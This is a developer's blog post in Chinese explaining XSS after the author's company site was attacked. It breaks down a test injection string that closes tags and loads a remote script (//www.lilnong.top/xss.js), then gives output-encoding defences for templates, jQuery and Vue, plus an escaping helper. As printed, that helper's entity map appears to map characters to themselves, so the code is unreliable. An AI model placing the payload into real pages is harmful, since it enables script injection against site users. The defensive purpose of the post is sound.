前段时间公司网页被 xss 搞了一下,微信把域名封了,通宵搞了好几天。
这两天把公司好几年来的代码都改了一遍,这工作丧心病狂。
什么是 xss?
XSS 攻击指通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的代码。
危害有什么?
- 跳转到广告页面,页面注入广告等等。
- 导致公司域名被其他平台拉黑,从而使业务受损。
- 用户的财产受到威胁,他注入的代码可以在网页中任意请求接口。
注入代码
http://upcdn"'></script><script src="//www.lilnong.top/xss.js"></script><script>alert(12306)</script><svg></svg>\n\t\n
上面的代码是我们测试的时候使用的,接下来我们来分析一下这个代码主要用途。
-
http://upcdn
这个字符串是用来伪装的。-
<img src="${str}">
动态拼接图片地址 -
<a href="${str}">
动态跳转页面地址
-
-
"'>
这两个就是为了截断当前字符串,然后闭合标签。<img src="${str}">
-
</script>
也是为了闭合标签,这个主要用在后台模板输出的时候。后台模板 velocity、freemarker 之类的。<script>var imgUrl = ${str}</script>
-
<script src="//www.lilnong.top/xss.js"></script>
就是引入一个js,这种方式比较常见。注入之后,攻击者只需要修改自己的文件,就可以更新了。 -
<script>alert(12306)</script>
直接执行js代码 -
<svg></svg>
注入一个元素,用于展示一个异常块打乱布局。比如vue
中的v-html
不会执行script
标签中的内容,但是会显示svg
图片。 -
\n\t\n
是为了测试后台模板输出的场景。
防护场景及方案
后台模板
-
toHtml
主要用于输出在页面(标签中)中,将用户输入的内容进行编码比如<
转换为<
。<span>${nickanme}</span>
-
toJS
主要用于输出在script标签中,这里需要防止打断js,比如处理成"'\n
为\"\'\\n
-
toUrl
这里其实和toHtml
场景很像,但是需要判断url基础格式。https://
//lilnong.top
/static
./static
../static
jquery&原生js
- toHtml 场景。jquery中基本上都是拼接一下,然后
.html
输出一下。这里需要做的也是把用户输入的做一下实体编码转换。 - toUrl 场景。校验一下url,然后
toHtml
或者encode
都可以。
vue
- toHtml 场景。
v-html
这里需要注意一下,尽可能不要使用,因为会导致注入问题。也可以toHtml一下,但是没必要不是吗。 - toUrl 场景。
:href
主要javascript:alert(1);
这种场景,做url校验就可以。 - toHtml 场景。使用原生的方法,vue 中非要
innerHTML
的那些人。
常见问题
富文本场景
- 做文章那种,大量的标签,属性。这种一般需要后端处理。
HTML Purifier
- 文字加表情,后者搜索高亮的场景。这种我们可以先执行
toHtml
,然后再匹配替换,最后在输出到页面即可。
换行符问题
有时我们在textarea
中输入\n
,渲染的时候空白符就被浏览器给吃了。针对这种情况,我们可以用下面的方案处理
- 通过 css 属性
white-space
,或者<pre>
标签 - 一般人们是正则替换
.replace(/\n/g,'<br>)
,这种输出的时候万一里面有代码不就凉了吗。所以我们先 toHtml 然后在使用,这样可以防止注入问题。 - 其实
.innerText
可以自动把\n
转换为<br>
,你可以自己试试
代码实现
window.base = {
toHtml: function (val) {
if( typeof val != 'string' ) return '';
var entityMap = {
"&": "&",
"<": "<",
">": ">",
'"': '"',
"'": ''',
"/": '/'
};
return String(val).replace(/[&<>"'\/]/g, function (s) {
return entityMap[s];
});
},
toUrl: function (url) {
if( typeof url != 'string' ) return '#';
if(url.match(/^http/i)){
return encodeURI(url)
}
return '#'
},
};
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。